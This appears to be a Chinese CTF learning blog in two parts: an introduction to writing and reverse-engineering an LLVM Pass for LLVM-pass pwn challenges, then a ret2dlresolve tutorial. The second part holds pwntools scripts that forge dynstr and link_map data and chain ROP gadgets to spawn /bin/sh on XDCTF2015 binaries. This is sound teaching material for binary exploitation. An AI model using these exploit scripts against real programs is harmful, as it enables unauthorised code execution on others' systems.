        .type   main,@function
    main:                                   # @main
        .cfi_startproc
    # %bb.0:
        pushq   %rbp
        .cfi_def_cfa_offset 16
        .cfi_offset %rbp, -16
        movq    %rsp, %rbp
        .cfi_def_cfa_register %rbp
        subq    $48, %rsp
        movl    $0, -8(%rbp)
        movl    %edi, -4(%rbp)
        movq    %rsi, -16(%rbp)
        movabsq $.L.str, %rdi
        callq   puts
        movabsq $.L.str.1, %rdi
        callq   puts
        leaq    -48(%rbp), %rsi
        xorl    %edi, %edi
        movl    $31, %edx
        callq   read
        movabsq $.L.str.2, %rdi
        movb    $0, %al
        callq   printf
        xorl    %eax, %eax
        addq    $48, %rsp
        popq    %rbp
        .cfi_def_cfa %rsp, 8
        retq
    .Lfunc_end0:
        .size   main, .Lfunc_end0-main
        .cfi_endproc
                                            # -- End function
        .type   .L.str,@object          # @.str
        .section    .rodata.str1.1,"aMS",@progbits,1
    .L.str:
        .asciz  "hello world"
        .size   .L.str, 12

        .type   .L.str.1,@object        # @.str.1
    .L.str.1:
        .asciz  "plz input your name"
        .size   .L.str.1, 20

        .type   .L.str.2,@object        # @.str.2
    .L.str.2:
        .asciz  "biubiubiu"
        .size   .L.str.2, 10

        .ident  "Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"
        .section    ".note.GNU-stack","",@progbits

    编写第一个LLVM Pass

    通过前面的知识之后，现在可以尝试编写“hello world”的pass，下面是官方的示例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    #include "llvm/Pass.h"
    #include "llvm/IR/Function.h"
    #include "llvm/Support/raw_ostream.h"

    #include "llvm/IR/LegacyPassManager.h"
    #include "llvm/Transforms/IPO/PassManagerBuilder.h"

    using namespace llvm;

    namespace {
    struct Hello : public FunctionPass {
      static char ID;
      Hello() : FunctionPass(ID) {}

      bool runOnFunction(Function &F) override {
        errs() << "Hello: ";
        errs().write_escaped(F.getName()) << '\n';
        return false;
      }
    }; // end of struct Hello
    }  // end of anonymous namespace

    char Hello::ID = 0;
    static RegisterPass<Hello> X("hello", "Hello World Pass",
                                 false /* Only looks at CFG */,
                                 false /* Analysis Pass */);

    static RegisterStandardPasses Y(
        PassManagerBuilder::EP_EarlyAsPossible,
        [](const PassManagerBuilder &Builder,
           legacy::PassManagerBase &PM) { PM.add(new Hello()); });

    先声明pass本身，然后声明了一个Hello类，它是FunctionPass的子类。稍后将详细描述不同的内置pass子类，但是现在知道FunctionPass一次对一个函数进行操作。

    然后声明了LLVM用于标识pass的pass标识符。 这允许LLVM避免使用昂贵的C ++运行时信息，如下

    1
    2
    static char ID;
    Hello() : FunctionPass(ID) {}

    然后声明了一个runOnFunction方法，它覆盖了从FunctionPass继承的抽象虚方法。 这是我们应该做的事情，所以我们只用每个函数的名称打印出我们的消息。代码如下

    1
    2
    3
    4
    5
    6
    7
    bool runOnFunction(Function &F) override {
        errs() << "Hello: ";
        errs().write_escaped(F.getName()) << '\n';
        return false;
      }
    }; // end of struct Hello
    }  // end of anonymous namespace

    接着初始化passID。 LLVM使用ID的地址来标识pass，因此初始化值并不重要。代码如下

    1
    char Hello::ID = 0;

    最后，我们注册我们的类Hello，给它一个命令行参数“hello”，并命名为“Hello World Pass”。 最后两个参数描述了它的行为：如果传递遍历CFG而不修改它，那么第三个参数设置为true; 如果pass是分析pass，例如支配树pass，则提供true作为第四个参数。代码如下

    1
    2
    3
    static RegisterPass<Hello> X("hello", "Hello World Pass",
                                 false /* Only looks at CFG */,
                                 false /* Analysis Pass */);

    如果我们想将通道注册为现有管道的一个步骤，则提供了一些扩展点，例如PassManagerBuilder::EP_EarlyAsPossible在任何优化之前应用我们的通道，或者PassManagerBuilder::EP_FullLinkTimeOptimizationLast 在链接时间优化之后应用它。代码如下

    1
    2
    3
    4
    static llvm::RegisterStandardPasses Y(
        llvm::PassManagerBuilder::EP_EarlyAsPossible,
        [](const llvm::PassManagerBuilder &Builder,
           llvm::legacy::PassManagerBase &PM) { PM.add(new Hello()); });

    现在需要将这个Pass编译成模块，使用如下命令即可

    1
    clang-12 `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`

    现在应该会看到LLVMHello.so这个文件，通过官方文档可知需要使用以下命令

    1
    opt -load LLVMHello.so -hello test.ll

    这里的 -hello由Hello.cpp中的static RegisterPass<Hello> X参数决定

    但是笔者这里报了一个错Error opening 'LLVMHello.so': LLVMHello.so: cannot open shared object file: No such file or directory，这是因为linux无法在默认地址找到LLVMHello.so，解决很简单`sudo cp LLVMHello.so /lib

    image.png

    成功输出test.c所有函数名称

    对第一个LLVM Pass逆向分析

    刚刚生成了LLVMHello.so这个pass文件，比赛题和上面也一样，会重写FunctionPass类中的runOnFunction函数，所以我们对上面的示例程序进行逆向分析，看一下虚表位置这样方便比赛的时候确定每个函数的位置

    image.png

    跟进RegisterPass

    image.png

    发现调用了callDefaultCtor进行对象创建，跟进它

    image.png

    给Hello对象分配了0x20个空间，跟进Hello

    image.png

    看到虚表了，直接跟进

    image.png

    runOnFunction函数位于虚表中的最后一个位置，因为runOnFunction函数被我们重写了，所以它指向的是我们自定义的那个函数，比赛题的漏洞基本就是这个，所以在做LLVM Pass pwn的时候定位函数的位置可以从虚表入手

    总结

    收获很大，从编译过程到LLVM，加固了计算机底层的一些知识，知道了LLVM PASS PWN该怎么入手，以前看到LLVM PASS PWN的时候都不知道怎么运行（XD），这里第一篇就结束了，后面会继续更新

    Reference

    https://zhuanlan.zhihu.com/p/130702001

    https://zhuanlan.zhihu.com/p/122522485

    https://www.homedt.net/196837.html

    https://llvm.org/docs/WritingAnLLVMPass.html

发表于 分类于 本文字数： 2.7k 阅读时长 ≈ 10 分钟

借鉴文档：【精选】ret2dlresolve超详细教程(x86&x64)-CSDN博客

x86

前置知识

在Linux中，程序使用_dl_runtime_resolve(link_map,reloc_offset)来对动态链接的函数进行重定位。

而ret2dlresolve攻击的核心就是控制相应的参数及其对应地址的内容，从而控制解析的函数。

延迟绑定机制

第一次调用一个函数时，先是到plt表，然后jmp到got表

image.png

此时got表存的地址是在plt表上

image.png

其实也就是jmp got的下一条指令，这里先是push一个数字（该函数在rel.plt上的偏移,reloc_arg，后文会讲到），然后jmp到plt[0] (0x8048380)

image.png

在plt[0]处先是push got[1]，got[1]就是link_map（链接器的标识信息,后文会讲到），然后jmp到got[2]处，got[2]就是_dl_runtime_resolve函数的地址

image.png

image.png

所以相当于执行了

1
_dl_runtime_resolve(link_map,reloc_arg)

这个函数会完成符号的解析，即将真实的write函数地址写入其GOT表对应的条目中，随后将控制器交给被解析的函数

x64

NO RELRO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

r = process('./')  
elf = ELF('./')  
read_plt = elf.plt['read']  
#我们攻击的目标，.dynamic中strtab的地址，我们要在此处修改指向fake_dynstr  
target_addr = 0x600988 + 8  
#用于加载函数地址的函数，当我们伪造了dynstr后，再次调用即可加载我们需要的函数  
#plt起始地址
plt0_load =    
#pop rdi;ret;  
pop_rdi =  
#pop rsi ; pop r15 ; ret  
pop_rsi = 
#伪造dynstr  
fake_dynstr = '\x00libc.so.6\x00stdin\x00system\x00' #原本dynstr为\x00libc.so.6\x00stdin\x00strlen\x00'
#bss段起始地址
bss =   
offset = 
payload = flat('a' * offset , pop_rdi , 0 , pop_rsi , bss , 0 , read_plt , # 将'/bin/sh'以及伪造的strtab写入bss段
                pop_rdi , 0 , pop_rsi , target_addr , 0 , read_plt , # 将.dynamic中的strtab地址改为我们伪造的strtab的地址
                pop_rdi , bss , plt0_load , 1 # 调用.dl_fixup,解析strlen函数，由于我们已经在fake_strtab中将strlen替换成system，所以将会解析system函数

)

r.recvuntil('Welcome to XDCTF2015~!\n')
r.sendline(payload)  
#发送system的参数以及伪造的strtab
payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr  
sleep(1)  
r.sendline(payload2)  
sleep(1)  
#修改dynsym里的strtab的地址为我们伪造的dynstr的地址  
r.sendline(p64(bss + 0x10))  
r.interactive()

PARTIAL_RELRO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

#r = gdb.debug("./parelro_x64",'break main')
r = process('./')  
elf = ELF('./')  
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')  
read_plt = elf.plt['read']  
write_got = elf.got['write']  
vuln_addr = elf.sym['vuln']  
  
#bss  
bss =   
bss_stage = bss + 0x100
l_addr =  libc.sym['system'] -libc.sym['write']  # l_addr = -769472, 通常为负数
  
pop_rdi =   
#pop rsi ; pop r15 ; ret  
pop_rsi =   
#用于解析符号dl_runtime_resolve  
plt0 = 
plt_load = plt0 + 6  

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset为负数，如果不控制范围，p64后会越界，发生错误
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr

    # fake_linkmap_addr + 8，也就是DT_JMPREL，至于为什么有个0，可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0，也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址，解析完成后在这个地址上存放函数的实际地址，此处我们只需要设置一个可读写的地址即可 
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项，7>>32=0，也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行

    linkmap += p64(0)#l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址，由于我们用不到strtab，所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, write_got ,l_addr)# 伪造link_map

payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 , read_plt , # 把link_map写到bss段上
                pop_rsi , 0 ,0 , # 使栈十六字节对齐，不然调用不了system
                pop_rdi , bss_stage + 0x48  , plt_load , bss_stage , 0 # 把/bin/sh传进rdi，并且调用_dl_rutnime_resolve函数，传入伪造好的link_map和索引
)

r.recvuntil('Welcome to XDCTF2015~!\n')  
r.sendline(payload)  

r.send(fake_link_map) 

r.interactive()

0%